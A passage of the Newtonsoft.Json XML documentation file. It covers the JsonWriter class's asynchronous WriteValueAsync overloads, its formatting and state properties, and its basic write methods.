cref=\"T:System.Byte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Byte[],System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Byte\"/>[] value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Byte\"/>[] value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Char,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Char},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.DateTime,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.DateTime},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.DateTimeOffset,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.DateTimeOffset},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Decimal,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Decimal},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Double,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Double},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Single,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Single},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Guid,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Guid},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Guid\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Object\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Object\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.SByte,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.SByte},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Int16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.Int16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.String\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.String\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.TimeSpan,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.TimeSpan},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.TimeSpan\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt32,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt32},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt64,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt64},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Uri,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Uri\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Uri\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.UInt16,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteValueAsync(System.Nullable{System.UInt16},System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value.\n            </summary>\n            <param name=\"value\">The <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/> value to write.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteUndefinedAsync(System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes an undefined value.\n            </summary>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteWhitespaceAsync(System.String,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously writes the given white space.\n            </summary>\n            <param name=\"ws\">The string of white space characters.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.SetWriteStateAsync(Newtonsoft.Json.JsonToken,System.Object,System.Threading.CancellationToken)\">\n            <summary>\n            Asynchronously ets the state of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"token\">The <see cref=\"T:Newtonsoft.Json.JsonToken\"/> being written.</param>\n            <param name=\"value\">The value being written.</param>\n            <param name=\"cancellationToken\">The token to monitor for cancellation requests. The default value is <see cref=\"P:System.Threading.CancellationToken.None\"/>.</param>\n            <returns>A <see cref=\"T:System.Threading.Tasks.Task\"/> that represents the asynchronous operation.</returns>\n            <remarks>The default behaviour is to execute synchronously, returning an already-completed task. Derived\n            classes can override this behaviour for true asynchronicity.</remarks>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\">\n            <summary>\n            Gets or sets a value indicating whether the destination should be closed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to close the destination when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\">\n            <summary>\n            Gets or sets a value indicating whether the JSON should be auto-completed when this writer is closed.\n            </summary>\n            <value>\n            <c>true</c> to auto-complete the JSON when this writer is closed; otherwise <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Top\">\n            <summary>\n            Gets the top.\n            </summary>\n            <value>The top.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.WriteState\">\n            <summary>\n            Gets the state of the writer.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Path\">\n            <summary>\n            Gets the path of the writer. \n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Formatting\">\n            <summary>\n            Gets or sets a value indicating how JSON text output should be formatted.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatHandling\">\n            <summary>\n            Gets or sets how dates are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateTimeZoneHandling\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> time zones are handled when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.StringEscapeHandling\">\n            <summary>\n            Gets or sets how strings are escaped when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.FloatFormatHandling\">\n            <summary>\n            Gets or sets how special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/>,\n            are written to JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.DateFormatString\">\n            <summary>\n            Gets or sets how <see cref=\"T:System.DateTime\"/> and <see cref=\"T:System.DateTimeOffset\"/> values are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonWriter.Culture\">\n            <summary>\n            Gets or sets the culture used when writing JSON. Defaults to <see cref=\"P:System.Globalization.CultureInfo.InvariantCulture\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Flush\">\n            <summary>\n            Flushes whatever is in the buffer to the destination and also flushes the destination.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.Close\">\n            <summary>\n            Closes this writer.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.CloseOutput\"/> is set to <c>true</c>, the destination is also closed.\n            If <see cref=\"P:Newtonsoft.Json.JsonWriter.AutoCompleteOnClose\"/> is set to <c>true</c>, the JSON is auto-completed.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartObject\">\n            <summary>\n            Writes the beginning of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteEndObject\">\n            <summary>\n            Writes the end of a JSON object.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonWriter.WriteStartArray\">\n            <summary>\n            Writes the beginning of a JSON array.\n            </summary>\n        